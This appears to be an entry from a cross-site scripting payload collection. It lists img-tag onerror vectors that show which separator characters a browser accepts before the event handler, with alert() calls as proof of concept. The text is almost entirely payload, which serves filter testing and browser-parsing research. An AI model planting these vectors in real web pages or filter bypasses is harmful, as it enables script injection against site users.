This XSS vector shows what characters can be used before the onerror event.
<img src onerror=log($[i])$[chr]style=display:block;content-visibility:auto><img src onerror=alert(9)0x09style=display:block;content-visibility:auto><img src onerror=alert(10)
style=display:block;content-visibility:auto><img src onerror=alert(12)0x0Cstyle=display:block;content-visibility:auto><img src onerror=alert(13)0x0Dstyle=display:block;content-visibility:auto><img src onerror=alert(32) style=display:block;content-visibility:auto><img src onerror=alert(62)>style=display:block;content-visibility:auto>